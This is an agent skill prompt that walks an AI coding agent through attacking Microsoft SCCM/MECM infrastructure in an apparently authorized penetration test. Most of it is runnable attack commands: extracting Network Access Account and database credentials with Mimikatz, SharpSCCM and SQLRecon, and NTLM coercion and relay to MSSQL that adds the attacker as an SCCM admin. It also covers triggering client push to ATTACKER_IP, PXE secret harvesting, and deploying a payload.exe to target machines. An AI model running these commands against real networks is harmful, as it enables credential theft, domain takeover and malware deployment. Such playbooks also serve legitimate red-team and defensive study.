SCCM/MECM Exploitation

You are helping a penetration tester enumerate and exploit Microsoft SCCM/MECM infrastructure for credential harvesting, lateral movement, and domain escalation. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [sccm-exploitation] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

Access required: Domain user (for enumeration and NAA extraction via policy request). Local admin on SCCM client (for WMI/DPAPI extraction). Domain admin or relay position (for MP relay and database attacks).

Kerberos authentication setup (for enumeration):

getTGT.py 'DOMAIN.LOCAL/username:password' -dc-ip DC_IP
export KRB5CCNAME=$(pwd)/username.ccache

Tools: sccmhunter, SharpSCCM, MalSCCM, ntlmrelayx.py, PetitPotam, pxethiefy/PXEThief/SharpPXE, CMLoot, Mimikatz, SQLRecon.

Privileged Commands

Claude Code cannot execute sudo commands. The following require root and must be handed off to the user:

• pxethiefy.py — PXE boot credential harvesting (needs raw sockets for DHCP/TFTP)
• ntlmrelayx.py — NTLM relay to SCCM management point MSSQL (needs raw sockets)

Handoff protocol: Present the full command including sudo, ask the user to run it, then read the output or wait for callback confirmation.

Non-privileged commands Claude can execute directly:

• Enumeration: sccmhunter, SharpSCCM, CMLoot
• Policy extraction: sccmhunter http, sccmhunter show
• Post-exploitation: SQLRecon, MalSCCM, Mimikatz
• Coercion triggers: PetitPotam.py

Step 1: Enumerate SCCM Infrastructure

Discovery via sccmhunter

# Find SCCM infrastructure in the domain
sccmhunter.py find -u 'user' -p 'Password123' -d DOMAIN.LOCAL -dc-ip DC_IP

# Display discovered site servers
sccmhunter.py show -siteservers

# HTTP-based enumeration (no WMI, broader info)
sccmhunter.py http -u 'user' -p 'Password123' -d DOMAIN.LOCAL -dc-ip DC_IP -auto

SharpSCCM (from compromised Windows host)

# Enumerate devices managed by site server
.\SharpSCCM.exe get devices --server SCCM01 --site-code P01

Unauthenticated MP Endpoints

# Retrieve site signing cert + Unknown Computer GUIDs
curl -s http://MP01.domain.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -

# List all management points
curl -s http://MP01.domain.local/SMS_MP/.sms_aut?MPLIST | xmllint --format -

# Get site signing certificate
curl -s http://MP01.domain.local/SMS_MP/.sms_aut?SITESIGNCERT | xmllint --format -

These HTTP endpoints are unauthenticated and reveal site structure.

Attack Path Decision Tree

SCCM Infrastructure Found
├── Have local admin on SCCM client? → Step 3 (NAA from WMI/DPAPI — quietest)
├── Can create machine account? → Step 2 (NAA via policy request)
├── Can reach MP + MSSQL? → Step 4 (MP relay to MSSQL)
├── Auto client push enabled? → Step 5 (Client push relay)
├── PXE-enabled DP? → Step 6 (PXE boot credential harvesting)
├── Have SCCM admin or DB access? → Step 7 (Database credential extraction)
└── Have SCCM admin? → Step 8 (Application deployment for lateral movement)

Step 2: NAA Extraction via Policy Request (CRED-2)

Extract Network Access Account credentials by requesting machine policy from the management point. Requires a machine account (real or created).

Create Machine Account + Request Policy

# 1. Create a machine account (MAQ default allows this)
addcomputer.py -computer-name 'fakesccm$' -computer-pass 'Password123!' \
  'DOMAIN.LOCAL/user:pass' -dc-ip DC_IP

# 2. Add DNS entry for SCCM server (if not resolving)
echo "SCCM_IP  SCCM01 SCCM01.DOMAIN.LOCAL" >> /etc/hosts

# 3. Request policy from MP using fake computer identity (sccmwtf)
python3 sccmwtf.py fake fakepc.domain.local SCCM01 'DOMAIN\fakesccm$' 'Password123!'

# 4. Extract and decrypt NAA credentials from policy XML
cat /tmp/naapolicy.xml | grep 'NetworkAccessUsername\|NetworkAccessPassword' -A 5 \
  | grep 'CDATA' | cut -d '[' -f 3 | cut -d ']' -f 1 \
  | xargs -I {} python3 policysecretunobfuscate.py {}

SharpSCCM Alternative

# From a compromised host (creates new device registration)
.\SharpSCCM.exe get naa -r newdevice -u fakesccm$ -p 'Password123!'
.\SharpSCCM.exe get secrets -u fakesccm$ -p 'Password123!'

Recovered secrets: NetworkAccessUsername, NetworkAccessPassword — typically a domain account used for SCCM client network access during OSD.

Step 3: NAA Extraction from Running Client (CRED-3 / CRED-4)

Extract NAA credentials from a compromised SCCM client's local WMI store. Requires local administrator on the SCCM client.

WMI Query + DPAPI Decryption (CRED-3)

# Query NAA from WMI (DPAPI-encrypted blobs)
Get-WmiObject -Namespace "root\ccm\policy\Machine\ActualConfig" -Class "CCM_NetworkAccessAccount"
# Output: NetworkAccessPassword = <![CDATA[E600000001...]]>

# Decrypt with SharpSCCM (automated)
.\SharpSCCM.exe local secrets -m wmi

# Decrypt with SharpDPAPI (manual)
$str = "060...F2DAF"  # Hex from WMI output
$bytes = for($i=0; $i -lt $str.Length; $i++) {
  [byte]::Parse($str.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber); $i++
}
$b64 = [Convert]::ToBase64String($bytes[4..$bytes.Length])
.\SharpDPAPI.exe blob /target:$b64 /mkfile:masterkeys.txt

WMI Repository Search (CRED-4 — Legacy)

# Search WMI repository file for encrypted secrets
.\SharpDPAPI.exe search /type:file /path:C:\Windows\System32\wbem\Repository\OBJECTS.DATA

# SharpSCCM automated disk search
.\SharpSCCM.exe local secrets -m disk

sccmhunter HTTP Method (Remote)

# Remote NAA extraction via HTTP (if accessible)
sccmhunter.py http -u 'admin' -p 'Password' -d DOMAIN.LOCAL -dc-ip DC_IP -auto

Step 4: Management Point Relay to MSSQL (TAKEOVER-1)

Relay the management point's NTLM authentication to the SCCM database to gain sysadmin access and extract OSD policy secrets.

Prerequisites: Network access to MP and MSSQL, ability to coerce MP authentication (PetitPotam/PrinterBug/DFSCoerce).

Start Relay Listener

# SOCKS proxy mode (for interactive SQL follow-on)
ntlmrelayx.py -ts -t mssql://MSSQL_IP -socks -smb2support

# Direct SQL execution — add yourself as SCCM admin
ntlmrelayx.py -smb2support -ts -t mssql://MSSQL_IP -q "USE CM_P01; \
  INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) \
  VALUES (0x<YOUR_SID_HEX>,'DOMAIN\\your_user',0,0,'','','','','P01'); \
  INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) \
  VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'DOMAIN\\your_user'),'SMS0001R','SMS00ALL','29'); \
  INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) \
  VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'DOMAIN\\your_user'),'SMS0001R','SMS00001','1'); \
  INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) \
  VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'DOMAIN\\your_user'),'SMS0001R','SMS00004','1');"

Coerce MP Authentication

# PetitPotam to coerce MP to authenticate to relay listener
python3 PetitPotam.py RELAY_LISTENER_IP MP_IP -u user -p pass -d DOMAIN -dc-ip DC_IP

Extract OSD Secrets via SOCKS Proxy

# Connect to MSSQL through relay SOCKS proxy
proxychains mssqlclient.py -windows-auth 'DOMAIN/MP01$'@MSSQL_IP

-- Get Unknown Computer GUIDs
USE CM_P01;
SELECT SMS_Unique_Identifier0 FROM dbo.UnknownSystem_DISC WHERE DiscArchKey = 2;

-- List policies assigned to Unknown Computer
EXEC MP_GetMachinePolicyAssignments N'<GUID>', N'';

-- Retrieve full policy body
EXEC MP_GetPolicyBody N'{POLICY_ID}', N'2.00';

Decrypt Policy Blob

# Convert hex policy to XML
echo 'fffe3c003f0078...' | xxd -r -p > policy.xml

# Decrypt embedded credential values with PXEthief
python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)

Recovers: OSDJoinAccount/Password, NetworkAccessUsername/Password, and other task sequence variable credentials.

sccmhunter Automated MSSQL Path

# Automated SQL execution for RBAC admin + privilege escalation
sccmhunter.py mssql -u user -p pass -d DOMAIN.LOCAL -dc-ip DC_IP \
  -tu your_user -sc P01 -stacked

Step 5: Client Push Account Relay (ELEVATE-2)

If automatic site-wide client push is enabled, trigger the SCCM site server to authenticate as the client push account and relay it.

# 1. Start relay targeting MSSQL (or SMB/LDAP)
ntlmrelayx.py -t mssql://MSSQL_IP -smb2support

# 2. Trigger client push to your IP
.\SharpSCCM.exe invoke client-push -t ATTACKER_IP

SCCM site server authenticates as the client push installation account to your IP — relay to MSSQL for sysadmin or to LDAP for RBCD/machine account creation.

Conditions: Automatic site-wide client push enabled + automatic device approval + NTLM fallback allowed.

Step 6: PXE Boot Credential Harvesting (CRED-1)

Extract credentials from PXE-enabled Distribution Points.

pxethiefy (Linux)

# Listen for PXE responses and extract boot variables
sudo python3 pxethiefy.py explore -i eth0
# Extracts variables.dat, decrypts or outputs Hashcat hash

SharpPXE (Windows)

# Send PXE boot request, download variables.dat via TFTP
.\SharpPXE.exe
# If password-protected: outputs $sccm$aes128$... for Hashcat

Manual TFTP Download

# TFTP is unauthenticated on PXE-enabled DPs
tftp MP01.domain.local
tftp> get SMSBoot\\x64\\pxe\\variables.dat

# If password-protected: save hash to evidence for cracking
# Hash format: $sccm$aes128$... (hashcat mode 31100)
cp hash.txt engagement/evidence/sccm-pxe-hash.txt

Do NOT crack hashes in this skill. Save the PXE hash to engagement/evidence/ and return to the orchestrator with the hash file path, hash type (SCCM PXE / hashcat mode 31100), and a routing recommendation to credential-recovery.

Recovered: Management Point URL, site code, media GUIDs, potentially task sequence credentials.

Step 7: Database Credential Extraction (CRED-5)

Extract all encrypted credentials from the SCCM database's SC_UserAccount table. Requires sysadmin access to the database (via relay or direct).

Mimikatz (Direct SCCM Decryption)

# Queries SC_UserAccount + decrypts all credentials
mimikatz # misc::sccm /connectionstring:"DRIVER={SQL Server};Trusted=true;DATABASE=CM_P01;SERVER=MSSQL01;"

SQLRecon

# On site server where DB is local
.\SQLRecon.exe /auth:WinToken /host:MSSQL01 /database:CM_P01 /module:sDecryptCredentials

# Manual extraction
.\SQLRecon.exe /auth:WinToken /host:MSSQL01 /database:CM_P01 /module:query /command:"SELECT * FROM SC_UserAccount"

Manual Decryption

# Decrypt extracted values with xpn's PoC
sccmdecryptpoc.exe 0C010000080...5D6F0

Step 8: Application Deployment for Lateral Movement

Deploy malicious applications to device collections for code execution on target machines. Requires SCCM admin access.

MalSCCM (Full Chain)

# 1. Enumerate targets
MalSCCM.exe locate
MalSCCM.exe inspect /computers

# 2. Create device collection
MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device

# 3. Add target hosts
MalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET01

# 4. Create application (UNC path to payload on SCCMContentLib$)
MalSCCM.exe app /create /name:update /uncpath:"\\\\SCCM01\\SCCMContentLib$\\payload.exe"

# 5. Deploy to group
MalSCCM.exe app /deploy /name:update /groupname:TargetGroup /assignmentname:deploy01

# 6. Force immediate checkin
MalSCCM.exe checkin /groupname:TargetGroup

# 7. Cleanup
MalSCCM.exe app /cleanup /name:update
MalSCCM.exe group /delete /groupname:TargetGroup

SharpSCCM (Simpler Execution)

# Direct command execution on device
.\SharpSCCM.exe exec -d TARGET01 -p "C:\Windows\System32\cmd.exe /c whoami > C:\temp\out.txt" -s

SCCM Share Looting (CMLoot)

# Inventory all files on SCCM shares
Invoke-CMLootInventory -SCCMHost SCCM01.domain.local -Outfile sccmfiles.txt

# Download interesting files
Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension msi
Invoke-CMLootDownload -SingleFile '\\SCCM01\SCCMContentLib$\DataLib\SC100001.1\x86\config.xml'

SCCMContentLib$ is world-readable and may contain application binaries, task sequence XML with embedded credentials, and configuration files.

Step 9: Escalate or Pivot

STOP and return to the orchestrator with:

• What was achieved (RCE, creds, file read, etc.)
• New credentials, access, or pivot paths discovered
• Context for next steps (platform, access method, working payloads)

Troubleshooting

sccmhunter find Returns Nothing

• Verify LDAP connectivity: nxc ldap DC_IP -u user -p pass
• SCCM objects may be in a different naming context — try manual LDAP search for mSSMSSite objectClass
• Site server may not be registered in AD (standalone) — scan network for port 80/443 on servers and check /SMS_MP/ endpoint

Policy Request Fails (NAA Extraction)

• Management point may require PKI client certificate — check MP configuration for "HTTPS only" mode
• Machine account may not be registered — use SharpSCCM to register a new device identity
• DNS must resolve the MP hostname — add /etc/hosts entry

Relay to MSSQL Fails

• SMB signing may be required on MSSQL host — check with nxc smb MSSQL_IP for signing status
• MSSQL may not accept relay — Extended Protection for Authentication (EPA) blocks relay on modern SQL Server
• Verify MP is sysadmin on DB — try SOCKS proxy after relay to confirm

PXE Boot Extraction Fails

• PXE must be enabled on Distribution Point — check registry HKLM\Software\Microsoft\SMS\DP\PxeInstalled
• Need network reachability on UDP 4011 (DHCP proxy) and UDP 69 (TFTP)
• If password-protected: extract hash and route to credential-recovery (mode 31100)

Application Deployment Not Executing

• Default GPUpdate interval is 90 minutes — use MalSCCM.exe checkin or gpupdate /force on target
• Verify device is in the collection: MalSCCM.exe inspect /groups
• Check SCCM client logs on target: C:\Windows\CCM\Logs\

KRB_AP_ERR_SKEW (Clock Skew)

Kerberos requires clocks within 5 minutes of the DC. This is a Clock Skew Interrupt — stop immediately and return to the orchestrator. Do not retry or fall back to NTLM. The fix requires root:

sudo ntpdate DC_IP
# or
sudo rdate -n DC_IP

OPSEC Comparison

Technique	OPSEC	Detection	Prerequisites
SCCM enumeration (sccmhunter find)	Low-Medium	LDAP queries	Domain user
MP HTTP endpoint queries	Low	IIS logs	Network access
NAA from WMI (CRED-3)	Low	Local execution	Local admin on client
NAA from WMI repository (CRED-4)	Low	File access	Local admin on client
NAA via policy request (CRED-2)	Medium-High	Machine account creation + MP logs	Domain user
SCCM share looting (CMLoot)	Low	SMB access logs	Domain user
PXE boot harvesting (CRED-1)	Medium	DHCP/TFTP logs on DP	Network access
MP relay to MSSQL (TAKEOVER-1)	High	Coercion + relay + SQL audit	Network position
Client push relay (ELEVATE-2)	High	Server logs + auth events	Client push enabled
Database extraction (CRED-5)	High	SQL audit logs	DB sysadmin
Application deployment	High	Extensive SCCM + client logs	SCCM admin